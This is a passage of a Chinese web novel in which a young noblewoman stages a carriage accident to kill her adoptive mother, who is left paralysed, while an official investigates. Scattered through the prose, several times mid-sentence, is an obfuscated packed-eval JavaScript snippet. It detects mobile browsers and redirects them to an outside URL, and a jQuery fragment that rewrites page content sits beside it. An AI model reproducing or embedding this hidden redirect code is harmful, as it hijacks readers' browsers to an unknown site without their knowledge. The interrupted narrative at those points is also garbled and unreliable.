她扭头望去,就瞧见马儿的铁蹄裹着腥风朝她踏来。 温如霜惊恐地瞪大了眼睛,想要起身逃跑,但双手刚刚撑起还没爬起来,马蹄就重重踩到了她的腰上。 “咔嚓” 她清晰地听到了自己的腰间发出一声脆响,五脏六腑在这一刻仿佛都错位了一般,疼得她脸上的血色瞬间退去。 温热的血浆呛进鼻腔,她“哇”一下呕出一大滩血,随后整个人就晕了过去,不知死活。 马儿踩了这一脚,反倒把自己吓了一跳,调转了方向往另一边乱窜。 原本暗中跟随的停云想要出手,就瞧见东城兵马司副指挥江潮和马儿正面撞到了一起。 只见江潮一个旋身飞踢,毫不犹豫拔刀将受惊的马儿就地斩杀。 他默默退了回去,转身回王府去给王爷汇报此事。 吓白了脸的丫鬟哆嗦着跑了过去,跪倒在江潮手中还在滴血的刀尖旁,哭着开口:“大人救命啊,我家主子乃是定远侯夫人,遭此横祸,身受重伤,求您速请大夫!” 江潮看了一眼散架了的马车,瞧见了定远侯府的标志,眉心皱起。 他果断让下属去请了大夫,他来审问究竟发生了什么事。 得知是一条黄狗和一个女人引起的骚乱,他不禁在心底感慨定远侯夫人的倒霉。 “那狗和女子呢?”他四下张望,却没找到他们的踪迹。 围观的百姓一会儿指了东边,一会儿指了西边,没一个人能准确说出那一人一狗行踪的。 毕竟他们当时都吓得躲起来了,生怕被疯了的马伤到。 大夫拎着医药箱匆匆赶来,替温如霜施针。 止住血后,他抹了把额头的冷汗:“这腰椎骨断得彻底。老夫才疏学浅,只能替夫人把命吊住,往后……” 他看着沾血的手指,叹了一口气,才继续开口:“恐怕只得瘫在床上熬日子了。” 侯府丫鬟和车夫听到这话吓得面色惨白。 完了,夫人若是瘫痪在床,日后一定不会饶了他们的。 一旁的晏逐星听到这话,微微蹙眉。 她原本是打算今日就要了温如霜性命的。 谁让她这几日步步紧逼,一点活路也不给她留。 因此临行前,她便让半棠去找了九栀。 让九栀制造一场混乱,她好浑水摸鱼将温如霜推下马车,将她弄死。 没想到温如霜竟然这般命大,被马踩了还能活下来。 不过这样也好,等到明年晏明修考上了进士,要入翰林院后,她再取她性命。 到时候晏明修丧母就得丁忧三年。 机会就在眼前,却活生生地错过,晏明修的痛苦只会加倍。 而温如霜之后瘫痪在床,恐怕也会生不如死。 她瞥了一眼温如霜,暗暗在心中祈祷她要争点气,可别就这样**。 她还想让她亲眼看着侯府是如何败落的。 定远侯收到消息,领着次子晏明修匆匆赶来,得知温如霜下半辈子可能要瘫痪在床,一个踉跄差点跌倒在地。 噩耗突如其来,他们完全没有半点准备。 晏明修双目猩红扑向了晏逐星,揪着她的衣领质问:“是不是你害的母亲?” 晏逐星睁开眼睛,发现他身后竟然还跟着裴明镜。 她心头咯噔一跳。 裴明镜那厮可不好糊弄,不会被他发现什么问题吧? “二少爷,大小姐也受伤了,你冷静点。”裴明镜上前按住了晏明修的肩,示意他松手。 “我娘都快**,你让我怎么冷静。”晏明修推开他的手,恨恨地盯着晏逐星,“你就是个灾星,你就该**。” 他恶狠狠地想要伸手掐住晏逐星的脖子,却再一次被裴明镜拦住了。 他淡淡道:“二公子莫非要当着本官的面行凶?” 晏明修气得咬牙切齿,狠狠甩开了他的手,死死盯着晏逐星,从齿缝中挤出一句:“岂敢。” 晏逐星吸了吸鼻子,低吼道:“昨日你们说我给世子下药,今日马车意外又要我说弑母。所以当初你们将捡我回来,就是为了给晏家养个替罪羊么?” 她嗤笑一声,眼角的泪顺着脸颊滑落。 “横竖要我死,何须费心罗织罪名。我这就**还不行吗。” 喊出这句话后,她拖着受伤的腿往前爬,发了狠地 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可是据他私下调查,二人除了在威宁侯府上见过一面,私底下并无往来。 他又看了一眼地上温如霜的尸体。 昨日这母女二人才反目成仇,今日侯夫人便受了重伤。 这真的是巧合吗? 裴明镜陷入了沉思。 “王爷,晏大小姐的腿……”季太医的话打破了对峙的尴尬氛围。 他正要说晏逐星只是骨折了,好好养护一段时间就行。 结果话还没说完,谢翊宁就打断了他:“嗯?晏大小姐的腿怎么了?是不是很严重?” 季太医看着他警告的眼神,听懂了他的话外音,当即露出了沉痛的表情,将真话咽了回去。 “晏大小姐的腿断了,若接骨时错上半分筋脉,只怕要落个终身跛疾。” 随后他又指了指晏逐星的后脑勺:“瘀血堵在这儿,若再深三分,便是大罗金仙也救不回来。” 晏逐星被他的话唬了一跳。 她跳下来的时候心里有数着呢。 她这腿顶多养一个月就没问题了,至于脑袋,也只是擦伤破了点皮,季太医怎么说得她跟快**一样。 第25章 将抱回晏逐星的事情一一道来 谢翊宁摸着手上的玉扳指,露出了一个浮夸的表情:“呀,竟这般严重。” 随后他又看向了定远侯。 “那侯爷可得好好照顾晏大小姐,等她康复了,应该就能想起我的玉坠在何处了。” 定远侯憋了一肚子的气,但又不敢对谢翊宁无礼,现下还有求于他,只能勉强挤出笑容,讨好道:“星儿是我的女儿,我当然会好好照顾她。王爷无需挂怀。能不能请季太医给我夫人也瞧瞧?” 谢翊宁点了点头。 季太医便去给温如霜检查了。 他得出的结论和先前那位大夫一样,能活,但会瘫痪一辈子。 趁此机会,裴明镜看向晏逐星,想要从她那里套出实话:“晏大小姐,本官有一事想请你解惑。” 晏逐星乖巧地点了点头:“大人您问。我一定知无不言言无不尽。” 结果还没等裴明镜开口,她整个人就歪在软舆上,忽地捂住额头,“嘶……我的头……好晕……” 话音落下,便闭上了眼睛。 裴明镜气笑了。 这人嘴上说着尽管来问,可他还没问,她就晕了。 有这心眼子,她在侯府里还能被欺负? …… 定远侯带着温如霜和晏逐星回府,晏明月得知母亲受了这么重的伤,当场哭晕了过去。 晏逐星被送回了玉澜院。 半棠被叫到了屋里,她惶恐不安地看着晏逐星。 她先前替大小姐去传了话,结果夫人就受重伤快**,这事不会和大小姐有关系吧? 晏逐星躺在床上,轻轻吐出一口气。 温如霜如今身受重伤,尚未苏醒,现在她的院子里恐怕正乱成一团,正是套话的好时机。 她果断下命令:“你去把双鲤接回来,顺便将李嬷嬷请来,让她把我的金镯子送回来。她若不肯带着东西过来,你就告诉她,我有一份大礼送给她,保证她见不到明天的太阳。” 金镯子? 半棠心里一阵骇然。 大小姐什么时候收买的李嬷嬷? 她越发猜不透晏逐星的举动,心底对她的畏惧渐渐加深,没敢多说废话,直接去办事了。 不一会儿,双鲤和李嬷嬷就都来了玉澜院。 “小姐,您没事吧?”双鲤看到床上受了伤的晏逐星,眼泪说流就流。 “我没事。你呢,他们没有欺负你吧?”晏逐星摸了摸她的脑袋。 “没有。”双鲤重重摇头。 小姐走之前放了狠话,夫人又不在,没个主事的,他们自然不敢对她滥用私刑。 晏逐星冲她笑了笑:“那就好。你去给我熬药膳吧,除了你,我不放心别人。” “好!我保管不会让人害了小姐。”双鲤立刻爬起来去熬药。 小姐的吃食,那可绝对马虎不得。 一旁的半棠听着心底隐隐有些羡慕。 大小姐对双鲤真好。 二小姐虽然在外头总是一副菩萨下凡的温良模样,但她可是听瑶华院里的小姐妹们说过,二小姐一个不顺心就拿身边的人撒气。 她用银针专挑指甲盖底下的肉戳,疼得钻心又不见血。外院的人不知道这些事情,还以为他们跟在二小姐身边多幸福呢。 吩咐完双鲤干活,晏逐星又让半棠去替她做别的事情,将整个院子的人支使得团团转。 而李氏就这样被她晾在了一边。 李氏攥着帕子立在床边,眼睁睁看着丫鬟们进进出出,冷汗洇湿了中衣,她紧张极了。 夫人出事,大小姐将她叫来究竟是什么意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497769|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难不成她都想起来了? 还有那份致命的大礼,究竟是什么东西。 晏逐星越是不说话,她就越紧张。 终于她忍不住先开了口:“不知大小姐寻老奴来所为何事?若是无事,老奴就先行告退了。毕竟夫人昏迷不醒,院子里还有许多事情等着老奴处理呢。” 晏逐星这才看向她:“我的金镯子呢?” “大小姐说什么,老奴不明白。”李氏这会儿还想着蒙混过关。 “我小时候,温如霜将我偷来戴在我手上的金镯子呢?”晏逐星沉下了脸。 “你若不老实交代,待会儿谁来了都保不住你。” “毕竟,你的床褥里可藏着皇后娘娘赐给我的金簪呢。” “老奴冤枉啊。”李氏慌忙跪倒在地。 昨日大小姐才闹了一出御赐之物丢失的事情,若今日东西就在她那里找到,她有口也说不清。 更何况夫人如今昏迷,还不知道什么时候会醒。 若是晏逐星打定主意发作她,恐怕她撑不到夫人醒来就没了性命。 晏逐星微微一笑:“冤不冤枉,我心里有数。你若再不说实话,我就要大张旗鼓命人去搜你的屋子了。” 随后,她又将藏在怀中的玉佩掏了出来,在李氏面前晃了晃:“对了,忘记告诉嬷嬷一个好消息,烈国公要收我当义女了。回府前他曾放话,若我受了欺负,他一定会打上门来替我讨回公道。” 李氏一怔,没想到晏逐星竟然有这样的大造化,能让烈国公收下她当义女。 看着晏逐星威胁的目光,她哆哆嗦嗦地从怀里掏出了那个金镯子交给她,颤声道:“我说,我全都说。” 随后,她便将那年元宵灯会抱回晏逐星的事情一一道来。 第26章 上辈子的疑团在这一刻解开 “那年,是夫人的祖父过八十大寿,她便领着几位小主子回了青州贺寿。” “寿宴结束后正赶上了青州的花灯节,夫人领着小主子们上街闲逛,没想到二小姐竟然丢了。” “夫人不敢声张此事,悄悄派人去找。可找了好几日,都没找到二小姐。” “京城这边,侯爷催着夫人归家。回京城的前夜,夫人在街上瞧见了您。您当时拿着一串糖葫芦,身边没有大人在。” “夫人见你与二小姐有几分相似,便把你抱回府,让你顶替了二小姐的名义留下。” 晏逐星听完,冷不丁地开口:“我不可能乖乖听话,你们对我做了什么?” 李氏额角冒出了冷汗,事已至此,隐瞒已经没有意义,她只得和盘托出。 “您当时约莫两岁左右,已经认人,死活不肯改口叫夫人娘亲。于是夫人便给你下了药,让你彻底忘了前尘往事。” 上辈子的疑团在这一刻解开。 晏逐星把玩着那个金镯子,询问道:“所以,你们也不知道我的爹娘是谁?” “没错。”李氏点了点头。 “夫人将你抱回来后,便马上领着你回了京城。后来派人回青州悄悄打听,也没有听说哪户人家孩子走丢报官,夫人就没有继续派人去寻找了。” 晏逐星总觉得此事透露出古怪。 这个金手镯上还镶嵌着异域来的宝石,价值不菲,想必她的爹娘对她应该很是疼爱。 这种情况下,怎么会让她一个小孩落在街头呢? 又怎么会弄丢她之后一直不去找她呢? 迷雾重重,晏逐星只得暂时将疑惑按下。 当务之急是先报仇,至于亲生父母,日后再慢慢寻找。 见晏逐星迟迟不说话,李氏忍不住道:“小姐,老奴知道的就这么多了……” 晏逐星想问的已经问出来了,她抬眸看向李氏:“你可以走。但出去之后,如果有人问你,你知道该怎么说吧?” 李氏忙不迭点头:“知道的。老奴定然不会泄露和您的谈话。” 要是让夫人知道她背叛了她,肯定不会让她好过的。 “不,烈国公要收我为义女一事可以说。”晏逐星打算借着她的口,将此事宣扬出去。 李氏一怔,而后惶惶不安地点头:“老奴记住了。” 瞧见晏逐星摆手让她离开,李氏松了一口气,像逃命似的跑出了玉澜院。 不曾想,刚走到一半,就被瑶华院的丫鬟拦住了。 “嬷嬷,二小姐有请。” 李氏刚放下的心又悬了起来。 糟了。 才出虎口又进狼窝,二小姐那边她该如何应对。 她忐忑不安地跟着丫鬟去了瑶华院。 果不其然,晏明月见到她的第一句话就是:“晏逐星找你做什么?” 李氏老老实实按照晏逐星的交代说了出来。 “什么?!烈国公一家不该恨死她了么,怎么还会收她当义女?”晏明月惊呼声陡然劈了岔。 “老奴也不知呀。如今夫人昏迷不醒,得尽快命人去往青州给温家送信呢。”李氏转移话题。 “你不许将此事告诉父亲。”晏明月下意识地想要隐瞒这件事。 如今母亲不在,父亲说不定会因为烈国公一家转变想法,和晏逐星重修旧好。 到时候她就更争不过晏逐星了。 李氏暗想,她不说难道大小姐就不会说么。 这事根本隐瞒不了多久。 但她面上还是恭恭敬敬地点头:“是。一切都听二小姐的吩咐。” 有了她这句话,晏明月心里堵着的那口气勉强顺了下去。 “走吧,我跟你一块去探望娘亲。”她起身领着李氏去找母亲。 毕竟,这个家里最疼她的就是娘亲了。 这个节骨眼上,娘亲可是万万不能出事的。 …… 翌日清晨,温如霜是被活活疼醒的。 冷汗把眼皮黏得死紧,她挣扎了半炷香时间才勉强撑开条缝。她伸出左手胡乱抓挠着床褥,一旁守着打瞌睡的晏明月听到声音猛地惊醒。 看见这一幕,她抹着眼泪扑到了床边:“娘亲,您可算醒了,可让女儿担心坏了。” 温如霜想要扶着她的手起身,却发现腰臀像压着千斤磨盘一般纹丝不动。 她整个人僵在了原地,片刻后,忽然像发疯似的用手掐向大腿内侧。 “娘亲,您这是做什么?!”晏明月惊呼出声。 温如霜眼里流露出惊慌和错愕,她掐得那么用力,为什么腿毫无反应。 见她将自己的腿掐得青紫,一旁的晏明月吓坏了,不知所措地呆愣在原地。 李氏看不下去了,涕泪横流,扑过去阻止她:“夫人,您莫要伤害自己啊。” 温如霜猛地推开了她,发狠地抓挠自己的腿,硬生生剜出好几道血痕都没停下。 挠不出感觉,她又将掌心合拢成拳头用力地砸下去,依旧没有任何反应。 她僵硬地扭头看向李氏:“我的腿怎么了?” 李氏哭红了眼眶,哽咽道:“夫人,您只是受了点伤,大夫说需要好好调养……” “你敢骗我?”她愤怒地将枕头砸向李氏。 随后她又看向了晏明月。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497770|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“你来说!若是不说实话,就别认我这个母亲了。” 晏明月还是第一回见到这么可怕的娘亲。 她印象里,娘亲总是温温柔柔,眼里带着笑,让人如沐春风。 如今反差太大,一时间她愣在了原地,不敢看她。 “你说呀!”温如霜声嘶力竭地怒吼。 晏明月吓坏了,赶忙把真话说了出来。 得知自己后半生都要躺在床上当个废人,温如霜像是被雷劈中了一般,僵在了原地。 “不,不可能。一定是那庸医胡说八道的。去,给我请太医!我要太医给我治。”温如霜不愿意相信这个事实,撕心裂肺地闹了起来。 晏明月小心翼翼地开口:“父亲已经请过三个太医了,他们都是同一个说法。” 这句话彻底击垮了温如霜。 她脸色迅速变得灰败,她双目无神地看着屋顶。 “你们都出去,我想自己一个人静一静。” 听到这话,晏明月只得带着丫鬟退了出去。 李氏担忧地看着屋子里的夫人,忍不住冲晏明月抱怨。 “二小姐,您不该跟夫人说实话的。夫人知道真相,若是萌出了死志可如何是好。” “我是主子还是你是主子,轮得到你教训我吗?”晏明月横了她一眼。 李氏赶忙扇了自己一巴掌:“是老奴多嘴了。” 话音刚落,就听到屋子里传来了瓷碗摔碎的声音。 晏明月和李氏吓了一跳,赶忙冲去进,就看到温如霜将药碗砸碎,拿着碎片往手腕上划。 这分明是一心求死! 晏明月看到这一幕,脑子发蒙。 完了,母亲真的寻**。 李氏“嗷”一声扑了过去,抢走了她手上的碎瓷片,哭喊了起来:“夫人您这是做什么呀,您还没含饴弄孙呢,怎么就想不开了。” “你让我死,我这样活着有什么意思。”温如霜崩溃大哭。 她无法接受自己成为一个要靠别人把屎把尿过活的废物。 晏明月听到她尖锐的哭声,一个激灵回过神来。 大哥正在议亲,二哥也在准备明年的秋闱,她马上也要及笄了。 若是母亲**,他们得守孝三年。 三年后,她就十八岁了,哪里还找得到般配的夫君。 不,母亲决不能死。 她快步走到床边,跟着劝说了起来。 “娘亲,您不能抛下我们不管啊。再说了,姐姐都没事,您肯定也会没事的。” 温如霜一顿,止住了哭声,不可思议地看向了晏明月。 “你说那野丫头,没事?” 第27章 说实话,我并不是很想和裴大人见面 晏明月眼神闪了闪:“伤了腿,但不严重,太医说休养一段时间就没事了。” 温如霜猛地攥紧了拳头,脱口而出:“凭什么?!” 同样是摔下马车,凭什么她以后再也不能行走,而晏逐星却没事。 她眼中恨意渐浓,猛地回想起昨日马车上的场景。 摔下车前,似乎有人推了她一把。 她紧紧抓住了晏明月的手,声嘶力竭地呐喊:“是那个野种害的我,是她把我推下马车的。” 晏明月和李氏听到这话,都吓了一跳。 不会吧,晏逐星她敢吗? “报官,我要报官!”温如霜肩膀颤抖了起来。 “那个孽畜,她想要弑母。” 晏明远和晏明修得知母亲苏醒,赶过来探望,踏入院子就听到了这声泪俱下的控诉。 晏明修当场发怒:“我果然没猜错,那野丫头就不是个好东西。娘,你放心,我这就去报官!” “等等,先问过父亲再说。”晏明远拦住了冲动的弟弟。 很快,定远侯也来到了温如霜的院子里。 他看着温如霜,再三确定:“当真是她推了你?” “没错!”温如霜重重点头。 定远侯思索了起来。 昨日永安王对那丫头维护的模样他可是看得一清二楚。 若是将此事宣扬出去,会不会惹得永安王不悦? 见他没有马上答应下来,温如霜脸色变得阴沉,她指节攥得发白,唇间吐出冷冷一句话:“若是侯爷不能替我讨回公道,那我便让兄长从青州来替我报仇。” 定远侯眉心一跳。 青州温家也不是好打发的,大舅兄温石岚如今乃是青州府知府,若是得知妹妹落得这个下场,他却什么都没做,定然会朝自己发难。 想到这,他握住了温如霜的手,温声道:“夫人说的什么话,我怎么会不替你讨回公道呢。只是如今没有证据,贸贸然地去报官,反倒不好。” 温如霜柳眉倒竖,身后的疼痛愈发强烈,她心底的怒气翻涌得也愈发厉害:“所以侯爷是要让我吃下这个哑巴亏?” “怎么会。”定远侯摇头,“今日裴明镜还会再次登门,届时咱们私底下和他说这事。这人跟狗似的,但凡嗅得半点线索便穷追不舍。若此事真的存有蹊跷,他定会掘地三尺查个水落石出。” “上回裴大人可是偏袒了姐姐,这一回会秉公彻查么?”一旁的晏明月忍不住插话。 定远侯不满地瞥了她一眼,她竟还敢提那件事。 晏明月被父亲的目光吓得缩了缩脖子。 片刻后,定远侯开口。 “彼时晏逐星呈证确凿,裴明镜也是公事公办。此人连宗室显贵的威逼都无动于衷,只为查案,又岂会为了晏逐星徇私?” 这话勉强让温如霜接受了。 “届时侯爷一定要将他请来。” “嗯,你放心吧。”定远侯点了点头,让李氏重新端来一碗药,亲自喂她喝完,等她睡下了,方才起身离开。 临行前,他警告地看着几个孩子。 “此事我自有主张,你们切莫轻举妄动。” “是。”晏明远三人不情不愿地点了点头。 没过多久,裴明镜便登门拜访了。 “裴大人还是为了世子爷被下药一事前来么?”定远侯打探了起来。 “世子爷被下药一事,我已经同烈国公打听过了。他说此事乃是误会一场,与令嫒无关。” 定远侯眼里闪过一丝疑惑。 烈国公爱子如命,怎么会将此事轻轻揭过? 先前被夫人闹了一场,都没来得及问昨日烈国公府一行如何了。 裴明镜又道:“不过威宁侯那边倒是有人证,说是瞧见了贵府大小姐与世子爷拉拉扯扯,还让世子爷喝下了东西。” “这个逆女!竟如此胆大妄为。”定远侯怒喝一声,猛拍大腿。“真是家门不幸啊。” 裴明镜面无表情道:“只有人证没有物证,且没有抓到现行,此事是否是令嫒所为尚且存疑。” 定远侯有些尴尬地开口:“那大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497771|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人今日前来,是……?” “乃是为了昨日朱雀街上惊马一事。”裴明镜也没有卖关子。 他总觉得昨日的事情有些蹊跷。 不查清楚,他心里不舒服。 “说起这事,我夫人今日醒了,跟我说当时她摔下马车,乃是有人推了她一把。”定远侯露出了伤心的表情,“裴大人,你可一定要查出真凶,还我夫人一个公道啊。” 裴明镜挑眉。 当时马车上只有定远侯夫人和晏逐星,定远侯话里的意思很明显了。 此事乃是晏逐星所为。 这定远侯一家,真是有意思。 做女儿的被仆役苛待无人问津,做父亲的没有证据就急着往女儿身上泼脏水,做母亲的滚下马车又声称是女儿所为。 即便不是亲生,十几年养育也该有些情分,怎会闹到这般田地? 思及此处,裴明镜开口:“侯爷放心。若此事并非意外,本官一定会将真凶捉拿归案。” 定远侯抹了抹微微湿润的眼角:“多谢裴大人。” 随后,他让人将裴明镜带去了玉澜院。 晏逐星正醒着,很适合审问。 裴明镜微微一笑:“晏大小姐,又见面了。” 晏逐星叹气:“说实话,我并不是很想和裴大人见面。” “哦?莫不是做了什么恶事心虚,不敢见本官?”裴明镜话里带刺。 晏逐星打起精神应对:“裴大人说笑了。我只是觉得每次遇到裴大人,都是性命堪忧之时。而我只想平安活着。” 裴明镜见她回答得滴水不漏,便询问起了事发当日的所有事情。 从出门前到出门后,事无巨细。 晏逐星简单地回答几句后,揉了揉自己的额角。 一旁的双鲤担忧地上前询问:“小姐可是脑袋又不舒服了。” 晏逐星轻声回应:“嗯,头晕。昨日磕到脑袋后,就一直有些不舒服。” 裴明镜忽然开口:“定远侯夫人说是你把她推下马车的,大小姐有什么想对本官说么。” 第28章 不禁吓,这么快就把实话说出来了 晏逐星还没开口,双鲤就炸毛了。 “奴婢知道夫人不喜小姐,但这么大的罪名,怎么能无缘无故扣在小姐头上呢。更何况,我家小姐腿都摔断了。她是不是也能说是夫人推的她?” 双鲤说着说着,就哭了起来。 她是真的心疼她家小姐。 只不过陪着夫人出门一趟,前几日还能爬树,今天就只能躺在床上了。 若是恢复不好,落下跛疾,日后还怎么嫁人。 爹不疼娘不爱,还嫁不到一个好人家,她的小姐好惨啊。 双鲤越想哭得越厉害了。 “别哭,我不是没事么。”晏逐星有些无奈,这小丫头怎么越来越爱哭了。 随后,她又看向了裴明镜。 “大人,马儿受惊,马车颠簸之下我连自己身体都控制不住,怎么推的母亲?许是颠簸过程中磕磕绊绊,有了肢体接触,被母亲误会了。” 说完,她垂下了脑袋,语气当中带着一丝哽咽:“母亲误解我也不是一次两次了,还请大人查明真相,还我清白。” “好。”裴明镜应了下来,“那我就不打扰大小姐了。希望你早日康复。” “谢谢。”晏逐星轻咳两声吩咐道,“双鲤,你替我送送裴大人。” “是。”双鲤不情不愿地答应了下来。 裴明镜走出屋子,发现原本守在屋外的丫鬟见他出来猛地转身。 裴明镜若有所思,叫住了她。 “站住,你也是这院里的丫鬟?” “回大人话,奴婢确实是大小姐的丫鬟。”转身要走的半棠顿住了脚步,僵硬地转动身子看了回来。 “昨日你去了哪里?”裴明镜开口询问。 半棠紧张不已,被这位大人盯上,她背后竟隐隐冒出了冷汗。 “我昨日去了浮酥坊,小姐想吃他们家的五香糕。我早早就去排队了。”她按照晏逐星交代的回答。 昨日,她替大小姐去一个小院子里给一个人传话。 穿过那个院子,拐一条巷道就是浮酥坊。 这个借口不会惹人怀疑。 “只可惜我家小姐从国公府回来后,遭此横祸,那五香糕都没吃上。”半棠抹起了眼泪。 “糕点呢,拿来我看看。”裴明镜又问。 “是。”半棠赶紧从屋子里把五香糕拿了出来,包装都没打开,显然没有人动过。 裴明镜打开瞧了瞧,这五香糕已经有些回油,看着并非新鲜出炉,至少隔了一日有余。 看来这丫鬟没撒谎,但他总觉得有古怪。 裴明镜将糕点收下。 “劳烦跟你家小姐说一声,这糕点我带走了,明日本官会让人送一份新的来。” “是。”半棠一个字都不敢多说。 裴明镜拿着糕点离开,双鲤忍不住嘀咕。 “裴大人这么大的官,怎么还捡小姐不要的糕点吃啊。” 晏逐星唇角飞快勾起又放下:“他呀,可不是为了吃这糕点。” 她盯着自己手上的擦伤,陷入了沉思。 上回,她先入为主地让裴明镜觉得她可怜,同情了她,所以那件事并没有仔细严查。 这一回,恐怕没有这么容易过关了。 她冲双鲤招了招手,对着她耳边悄悄嘱咐了几句。 比起半棠,她更相信双鲤。 衔蝉将这一切默默看在了眼底,而后趁着晏逐星休息,将此事传回了永安王府。 “王爷,昨日之事,不会真是那位大小姐做的吧?”停云皱眉。 若是这样,那侯府大小姐也太可怕了。 从她出侯府开始,他一直跟着她,完全想不到她是怎么做到的。 “不可能。她不是那样的人。”谢翊宁果断否认。 他将衔蝉传回来的信烧掉,想了想,还是吩咐了一句。 “继续查那个黄衫女子,若是找到了,将她先带回王府。重点在浮酥坊附近查。” 他不认为晏逐星是那样嘴馋的人。 好端端的忽然让丫鬟去浮酥坊排长队买五香糕,或许另有用意。 …… 翌日。 裴明镜再一次登门造访定远侯府。 这一次,他没有去玉澜院寻晏逐星,而是让人将半棠单独带了过来。 半棠看到他,下意识地屏住了呼吸。 “昨日你究竟去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497772|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何处?”裴明镜厉声质问。 “奴婢替大小姐去浮酥坊买了五香糕。”半棠脱口而出。 裴明镜起身逼近,她下意识地想要退后。 裴明镜一字一句道:“你可知此事涉及了侯府主母的性命,你若有所隐瞒,那便是死罪。” 他眸中寒星骤亮,钉住了她打算后退的脚步。 半棠咽了咽口水,想到那一百两银票,拼命摇头:“奴婢不知道大人说什么,奴婢真的只是替小姐去买了五香糕。” “你还要继续隐瞒么?本官已经查到了你昨日的行踪,你根本就不是去买什么五香糕,你明明就是去花钱雇凶!昨日那女子,是你找来的吧?”最后一句话,裴明镜猛地提高了声音。 半棠吓得腿一软,跌坐在地:“不是我,我什么都不知道。” 看她这副模样,裴明镜越发肯定了心中的猜测。 昨日玉澜院,唯有这个丫鬟出了门。 晏逐星若是需要人里应外合,便只能靠这个丫鬟了。 他冷冷道:“那女子已经被我们找到了。你若不说实话,那便等着被**吧。” “不,不是我。我只是替大小姐传了一封信。别的我什么都不知道呀。”半棠哭着跪地求饶。 裴明镜面无表情地看着她:“从头开始,把事情完整地说一遍。” 半棠哭哭啼啼地把事情都说了出来,连一百两银票的事情都没敢隐瞒。 裴明镜若有所思,指节轻轻点了点檀木桌面。 他没有证据,不过是诈她一诈,没想到她竟然这般不禁吓,这么快就把实话说出来了。 “你带本官去拿人。”裴明镜起身,将半棠带出府去。 没有捉到人之前,他不打算去见晏逐星。 她巧舌如簧,没有证据,她定然不会认罪。 半棠面如考妣,带着裴明镜去了昨日传信的小院子。 “就是这。”她指了指一个不起眼的院落。 裴明镜看向身旁的两个护卫。 护卫会意,点点头,随后翻身进了院子。 片刻后,护卫匆匆跑了出来。 “大人,院里空无一人。” 第29章 三个人,她谁也得罪不起 “小姐,裴大人命人送了五香糕来。” 双鲤将糕点送到了晏逐星面前。 晏逐星捻起一块,眉头微皱:“半棠呢,怎么去主院那么久还没回来?” 双鲤答道:“她说夫人留她问话,让我先把糕点拿回来。” 晏逐星往她嘴里塞了一块糕点,又冲门外的衔蝉招了招手。 “衔蝉姑娘,能不能劳烦你去一趟主院,把半棠带回来。” 衔蝉规矩行礼,而后点头回答:“奴婢这就去。大小姐有事只管吩咐,不必这般客气。” “好。辛苦你了。”晏逐星给双鲤使了个眼神。 双鲤甜甜一笑,捡了一块五香糕双手递给了衔蝉:“姐姐吃糕饼。” “多谢大小姐赏赐。”衔蝉笑着收下了。 晏逐星瞧着她远去的背影,思索了起来。 衔蝉是永安王的人,温如霜怎么着都得给她点面子吧。 让她去打听主院的情况,再合适不过了。 一刻钟后,衔蝉回来了,而她身后却空无一人。 “半棠呢?”晏逐星问道。 “李嬷嬷说让她留下和芰荷讨论一下绣花的样式,让我不要着急。若是玉澜院缺人手,她可以派别人过来。”衔蝉将李嬷嬷的话一字不落地转达。 “所以你并没有看到她本人?”晏逐星又问。 衔蝉点头。 晏逐星心底有了猜测,半棠多半不在主院。 她再次吩咐:“你再打听打听,今日送糕点来的人,是裴明镜本人,还是他的下人。” “是。”衔蝉应声。 很快就有了答案,今日的五香糕是裴明镜亲自来的。 晏逐星明白了。 裴明镜怀疑她,所以把半棠带走了。 而半棠,多半已经把她卖了个一干二净。 她下意识道:“双鲤,你去打听一下……” 话说到一半,她又顿住了。 若是现在让双鲤去找人,那岂不是自投罗网。 她现在不能动。 信里已经吩咐过九栀,事成之后换一个地方落脚。 五日后,再到清泉居见面。 “小姐?”见她话说到一半忽然收声,双鲤歪着脑袋出声提醒。 “没事,你去做药膳吧。我得快点好起来。”晏逐星笑着嘱咐她。 “嗯!小姐必须得快点好起来!”双鲤一蹦一跳地跑去了小厨房。 